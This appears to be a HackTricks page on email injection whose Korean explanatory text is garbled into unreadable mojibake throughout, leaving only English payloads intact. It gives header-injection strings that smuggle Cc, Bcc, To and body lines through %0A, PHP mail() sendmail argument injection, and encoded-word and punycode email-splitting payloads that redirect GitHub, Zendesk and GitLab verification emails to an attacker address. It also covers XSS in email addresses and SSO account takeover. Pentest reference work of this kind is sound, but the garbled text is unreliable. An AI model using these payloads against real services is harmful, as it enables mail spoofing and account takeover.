์ด๋ฉ์ผ ์ธ์ ์
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋ฐ์ก๋ ์ด๋ฉ์ผ์ ์ธ์ ์
๋ฐ์ ์ ์ธ์ ๋ค์ Cc ๋ฐ Bcc ์ธ์ ์
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
๋ฉ์์ง๋ ์์ ์ ๋ฐ recipient1 ๊ณ์ ์ผ๋ก ์ ์ก๋ฉ๋๋ค.
Inject argument
From:sender@domain.com%0ATo:attacker@domain.com
๋ฉ์์ง๋ ์๋ ์์ ์์ ๊ณต๊ฒฉ์ ๊ณ์ ์ผ๋ก ์ ์ก๋ฉ๋๋ค.
Inject Subject argument
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
๊ฐ์ง ์ ๋ชฉ์ ์๋ ์ ๋ชฉ์ ์ถ๊ฐ๋๋ฉฐ, ๊ฒฝ์ฐ์ ๋ฐ๋ผ ์ด๋ฅผ ๋์ฒดํ ์ ์์ต๋๋ค. ์ด๋ ๋ฉ์ผ ์๋น์ค์ ๋์์ ๋ฐ๋ผ ๋ค๋ฆ ๋๋ค.
๋ฉ์์ง ๋ณธ๋ฌธ ๋ณ๊ฒฝ
๋ ์ค ํผ๋๋ฅผ ์ฝ์ ํ ๋ค์, ๋ฉ์์ง ๋ณธ๋ฌธ์ ๋ณ๊ฒฝํ๊ธฐ ์ํด ๋ฉ์์ง๋ฅผ ์์ฑํฉ๋๋ค.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
PHP mail() ํจ์ ์ ์ฉ
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
5๋ฒ์งธ ๋งค๊ฐ๋ณ์ ($additional_parameters)
์ด ์น์ ์ ๊ณต๊ฒฉ์๊ฐ ์ด ๋งค๊ฐ๋ณ์๋ฅผ ์ ์ดํ๋ค๊ณ ๊ฐ์ ํ ๋ ์ด๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ๊ธฐ๋ฐํฉ๋๋ค.
์ด ๋งค๊ฐ๋ณ์๋ PHP๊ฐ ๋ฐ์ด๋๋ฆฌ sendmail์ ํธ์ถํ๋ ๋ช
๋ น์ค์ ์ถ๊ฐ๋ ๊ฒ์
๋๋ค. ๊ทธ๋ฌ๋ escapeshellcmd($additional_parameters) ํจ์๋ก ์ธ์ฒ๋ ๊ฒ์
๋๋ค.
์ด ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๋ sendmail์ ๋ํ ์ถ๊ฐ ๋งค๊ฐ๋ณ์๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค.
/usr/sbin/sendmail ๊ตฌํ์ ์ฐจ์ด์
sendmail ์ธํฐํ์ด์ค๋ ์์คํ ์ ์ค์น๋ MTA ์ด๋ฉ์ผ ์ํํธ์จ์ด(Sendmail, Postfix, Exim ๋ฑ)์ ์ํด ์ ๊ณต๋ฉ๋๋ค. ๊ธฐ๋ณธ ๊ธฐ๋ฅ(-t -i -f ๋งค๊ฐ๋ณ์ ๋ฑ)์ ํธํ์ฑ ์ด์ ๋ก ๊ฐ์ง๋ง, ์ค์น๋ MTA์ ๋ฐ๋ผ ๋ค๋ฅธ ๊ธฐ๋ฅ๊ณผ ๋งค๊ฐ๋ณ์๋ ํฌ๊ฒ ๋ค๋ฆ ๋๋ค.
๋ค์์ sendmail ๋ช ๋ น/์ธํฐํ์ด์ค์ ๋ค์ํ ๋งค๋ด์ผ ํ์ด์ง์ ๋ช ๊ฐ์ง ์์ ๋๋ค:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
sendmail ๋ฐ์ด๋๋ฆฌ์ ์ถ์ฒ์ ๋ฐ๋ผ ์ด๋ฅผ ์ ์ฉํ๊ณ ํ์ผ์ ์ ์ถํ๊ฑฐ๋ ์์์ ๋ช ๋ น์ ์คํํ๋ ๋ค์ํ ์ต์ ์ด ๋ฐ๊ฒฌ๋์์ต๋๋ค. https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html์์ ํ์ธํ์ธ์.
์ด๋ฉ์ผ ์ด๋ฆ์ ์ฃผ์
Caution
์์์ ๋๋ฉ์ธ ์ด๋ฆ(์: Github, Gitlab, CloudFlare Zero trustโฆ)์ผ๋ก ์๋น์ค์ ๊ณ์ ์ ์์ฑํ๊ณ , ํ์ธ ์ด๋ฉ์ผ์ ์์ ํ์ฌ ์ด๋ฅผ ํ์ธํ๋ฉด ํผํด ํ์ฌ์ ๋ฏผ๊ฐํ ์์น์ ์ ๊ทผํ ์ ์์ ์ ์์ต๋๋ค.
์ด๋ฉ์ผ์ ๋ฌด์๋ ๋ถ๋ถ
๊ธฐํธ: +, - ๋ฐ **{}**๋ ๋๋ฌผ๊ฒ ํ๊ทธ ์ง์ ์ ์ฌ์ฉ๋ ์ ์์ผ๋ฉฐ ๋๋ถ๋ถ์ ์ด๋ฉ์ผ ์๋ฒ์์ ๋ฌด์๋ฉ๋๋ค.
- ์: john.doe+intigriti@example.com โ john.doe@example.com
๊ดํธ () ์ฌ์ด์ ์ฃผ์์ ์์ ๋๋ ๋์ ์์ ๊ฒฝ์ฐ์๋ ๋ฌด์๋ฉ๋๋ค.
- ์: john.doe(intigriti)@example.com โ john.doe@example.com
ํ์ดํธ๋ฆฌ์คํธ ์ฐํ
.png)
์ธ์ฉ
.png)
IP
๋๊ดํธ ์์ IP๋ฅผ ๋๋ฉ์ธ ์ด๋ฆ์ผ๋ก ์ฌ์ฉํ ์๋ ์์ต๋๋ค:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
์ด๋ฉ์ผ ์ธ์ฝ๋ฉ
์ด ์ฐ๊ตฌ์์ ์ค๋ช ํ ๋ฐ์ ๊ฐ์ด, ์ด๋ฉ์ผ ์ด๋ฆ์ ์ธ์ฝ๋ฉ๋ ๋ฌธ์๋ฅผ ํฌํจํ ์๋ ์์ต๋๋ค:
- PHP 256 ์ค๋ฒํ๋ก์ฐ: PHP
chrํจ์๋ ๋ฌธ์๊ฐ ์์๊ฐ ๋ ๋๊น์ง 256์ ๊ณ์ ์ถ๊ฐํ ํ%256์ฐ์ฐ์ ์ํํฉ๋๋ค. String.fromCodePoint(0x10000 + 0x40) // ๐ โ @
Tip
์ด ํธ๋ฆญ์ ๋ชฉํ๋
RCPT TO:<"collab@psres.net>collab"@example.com>์ ๊ฐ์ ์ฃผ์ ์ผ๋ก ๋๋๋ ๊ฒ์ ๋๋ค.
์ด๋ ํ์ธ ์ด๋ฉ์ผ์ ์์๋ ์ด๋ฉ์ผ ์ฃผ์์ ๋ค๋ฅธ ์ด๋ฉ์ผ ์ฃผ์๋ก ๋ณด๋ด๊ฒ ํ์ฌ ์ด๋ฉ์ผ ์ด๋ฆ ์์ ๋ค๋ฅธ ์ด๋ฉ์ผ ์ฃผ์๋ฅผ ์ฝ์ ํ๊ณ ์ด๋ฉ์ผ์ ๋ณด๋ผ ๋ ๊ตฌ๋ฌธ์ ๊นจ๋จ๋ฆฌ๊ฒ ํฉ๋๋ค.
๋ค์ํ ์ธ์ฝ๋ฉ:
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
#ย iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 โ x@<svg/
Payloads:
- Github:
=?x?q?collab=40psres.net=3e=00?=foo@example.com - ์ธ์ฝ๋ฉ๋
@๋ =40, ์ธ์ฝ๋ฉ๋>๋=3e, ๊ทธ๋ฆฌ๊ณnull์=00์ ๋๋ค. - ํ์ธ ์ด๋ฉ์ผ์ด
collab@psres.net์ผ๋ก ์ ์ก๋ฉ๋๋ค. - Zendesk:
"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com - ์ด์ ๊ณผ ๊ฐ์ ํธ๋ฆญ์ด์ง๋ง, ์์ ๋ถ๋ถ์ ์ผ๋ฐ ๋ฐ์ดํ๋ฅผ ์ถ๊ฐํ๊ณ ์ธ์ฝ๋ฉ๋ ๋ฐ์ดํ
=22๋ฅผ ์ธ์ฝ๋ฉ๋@์์ ์ถ๊ฐํ ํ, ๋ค์ ์ด๋ฉ์ผ ์์ ๋ฐ์ดํ๋ฅผ ์์ํ๊ณ ๋ซ์ Zendesk์์ ๋ด๋ถ์ ์ผ๋ก ์ฌ์ฉ๋๋ ๊ตฌ๋ฌธ์ ์์ ํฉ๋๋ค. - ํ์ธ ์ด๋ฉ์ผ์ด
collab@psres.net์ผ๋ก ์ ์ก๋ฉ๋๋ค. - Gitlab:
=?x?q?collab=40psres.net_?=foo@example.com - ์ฃผ์๋ฅผ ๊ตฌ๋ถํ๊ธฐ ์ํด ์ธ๋์ค์ฝ์ด๋ฅผ ๊ณต๋ฐฑ์ผ๋ก ์ฌ์ฉํฉ๋๋ค.
- ํ์ธ ์ด๋ฉ์ผ์ด
collab@psres.net์ผ๋ก ์ ์ก๋ฉ๋๋ค. - Punycode: Punycode๋ฅผ ์ฌ์ฉํ์ฌ Joomla์
<styleํ๊ทธ๋ฅผ ์ฃผ์ ํ๊ณ ์ด๋ฅผ ์ ์ฉํ์ฌ CSS ์ ์ถ์ ํตํด CSRF ํ ํฐ์ ํ์น ์ ์์์ต๋๋ค.
Tooling
- ์ด๋ฌํ ์กฐํฉ์ ํผ์งํ์ฌ ์ด๋ฉ์ผ ํ์์ ๊ณต๊ฒฉํ๋ ค๋ Burp Suite Turbo Intruder ์คํฌ๋ฆฝํธ๊ฐ ์์ต๋๋ค. ์ด ์คํฌ๋ฆฝํธ๋ ์ด๋ฏธ ์ ์ฌ์ ์ผ๋ก ์๋ํ๋ ์กฐํฉ์ ๊ฐ์ง๊ณ ์์ต๋๋ค.
- Hackvertor๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฉ์ผ ๋ถํ ๊ณต๊ฒฉ์ ์์ฑํ๋ ๊ฒ๋ ๊ฐ๋ฅํฉ๋๋ค.
Other vulns
.png)
Third party SSO
XSS
github ๋๋ salesforce์ ๊ฐ์ ์ผ๋ถ ์๋น์ค๋ XSS ํ์ด๋ก๋๊ฐ ํฌํจ๋ ์ด๋ฉ์ผ ์ฃผ์๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ์ด๋ฌํ ์ ๊ณต์๋ฅผ ์ฌ์ฉํ์ฌ ๋ค๋ฅธ ์๋น์ค์ ๋ก๊ทธ์ธํ ์ ์๊ณ , ์ด ์๋น์ค๊ฐ ์ด๋ฉ์ผ์ ์ฌ๋ฐ๋ฅด๊ฒ ์ ๋ฆฌํ์ง ์๋๋ค๋ฉด, XSS๋ฅผ ์ ๋ฐํ ์ ์์ต๋๋ค.
Account-Takeover
SSO ์๋น์ค๊ฐ ์ฃผ์ด์ง ์ด๋ฉ์ผ ์ฃผ์๋ฅผ ํ์ธํ์ง ์๊ณ ๊ณ์ ์ ์์ฑํ ์ ์๊ฒ ํ๊ณ (์: salesforce), ๊ทธ ๊ณ์ ์ ์ฌ์ฉํ์ฌ salesforce๋ฅผ ์ ๋ขฐํ๋ ๋ค๋ฅธ ์๋น์ค์ ๋ก๊ทธ์ธํ ์ ์๋ค๋ฉด, ๋ชจ๋ ๊ณ์ ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
์ฃผ์ด์ง ์ด๋ฉ์ผ์ด ํ์ธ๋์๋์ง ์ฌ๋ถ๋ฅผ salesforce๊ฐ ํ์ํ์ง๋ง, ์ ํ๋ฆฌ์ผ์ด์
์ ์ด ์ ๋ณด๋ฅผ ๊ณ ๋ คํด์ผ ํฉ๋๋ค.
Reply-To
_From: company.com_์ ์ฌ์ฉํ์ฌ ์ด๋ฉ์ผ์ ๋ณด๋ผ ์ ์์ผ๋ฉฐ, _Replay-To: attacker.com_์ ์ค์ ํ๋ฉด, ๋ด๋ถ ์ฃผ์์์ ์ด๋ฉ์ผ์ด ๋ฐ์ก๋์๊ธฐ ๋๋ฌธ์ ์๋ ํ์ ์ด ์ ์ก๋ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๊ฐ ๊ทธ ์๋ต์ ๋ฐ์ ์ ์์ต๋๋ค.
Hard Bounce Rate
AWS์ ๊ฐ์ ํน์ ์๋น์ค๋ Hard Bounce Rate๋ก ์๋ ค์ง ์๊ณ๊ฐ์ ๊ตฌํํ๋ฉฐ, ์ผ๋ฐ์ ์ผ๋ก 10%๋ก ์ค์ ๋ฉ๋๋ค. ์ด๋ ์ด๋ฉ์ผ ๋ฐฐ๋ฌ ์๋น์ค์ ํนํ ์ค์ํ ์งํ์ ๋๋ค. ์ด ๋น์จ์ ์ด๊ณผํ๋ฉด AWS์ ์ด๋ฉ์ผ ์๋น์ค์ ๊ฐ์ ์๋น์ค๊ฐ ์ค๋จ๋๊ฑฐ๋ ์ฐจ๋จ๋ ์ ์์ต๋๋ค.
ํ๋ ๋ฐ์ด์ค๋ ์์ ์์ ์ฃผ์๊ฐ ์ ํจํ์ง ์๊ฑฐ๋ ์กด์ฌํ์ง ์์ ๋ฐ์ ์์๊ฒ ๋ฐํ๋ ์ด๋ฉ์ผ์ ์๋ฏธํฉ๋๋ค. ์ด๋ ์กด์ฌํ์ง ์๋ ์ฃผ์๋ก ์ด๋ฉ์ผ์ด ์ ์ก๋๊ฑฐ๋, ์ค์ ๊ฐ ์๋ ๋๋ฉ์ธ์ผ๋ก ์ ์ก๋๊ฑฐ๋, ์์ ์ ์๋ฒ๊ฐ ์ด๋ฉ์ผ ์์ ์ ๊ฑฐ๋ถํ๋ ๋ฑ์ ๋ค์ํ ์ด์ ๋ก ๋ฐ์ํ ์ ์์ต๋๋ค.
AWS์ ๋งฅ๋ฝ์์ 1000๊ฐ์ ์ด๋ฉ์ผ์ ๋ณด๋ด๊ณ ๊ทธ ์ค 100๊ฐ๊ฐ ํ๋ ๋ฐ์ด์ค๊ฐ ๋ฐ์ํ๋ฉด (์ ํจํ์ง ์์ ์ฃผ์๋ ๋๋ฉ์ธ๊ณผ ๊ฐ์ ์ด์ ๋ก), ์ด๋ 10%์ ํ๋ ๋ฐ์ด์ค ๋น์จ์ ์๋ฏธํฉ๋๋ค. ์ด ๋น์จ์ ๋๋ฌํ๊ฑฐ๋ ์ด๊ณผํ๋ฉด AWS SES (Simple Email Service)๊ฐ ์ด๋ฉ์ผ ๋ฐ์ก ๊ธฐ๋ฅ์ ์ฐจ๋จํ๊ฑฐ๋ ์ค๋จํ ์ ์์ต๋๋ค.
์ค๋จ ์๋ ์ด๋ฉ์ผ ์๋น์ค๋ฅผ ๋ณด์ฅํ๊ณ ๋ฐ์ ์ ํํ์ ์ ์งํ๊ธฐ ์ํด ๋ฎ์ ํ๋ ๋ฐ์ด์ค ๋น์จ์ ์ ์งํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค. ๋ฉ์ผ๋ง ๋ฆฌ์คํธ์ ์ด๋ฉ์ผ ์ฃผ์ ํ์ง์ ๋ชจ๋ํฐ๋งํ๊ณ ๊ด๋ฆฌํ๋ ๊ฒ์ด ์ด๋ฅผ ๋ฌ์ฑํ๋ ๋ฐ ํฌ๊ฒ ๋์์ด ๋ ์ ์์ต๋๋ค.
์์ธํ ์ ๋ณด๋ AWS์ ๊ณต์ ๋ฌธ์์์ ๋ฐ์ด์ค ๋ฐ ๋ถ๋ง ์ฒ๋ฆฌ์ ๋ํ ๋ด์ฉ์ ์ฐธ์กฐํ ์ ์์ต๋๋ค AWS SES Bounce Handling.
References
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


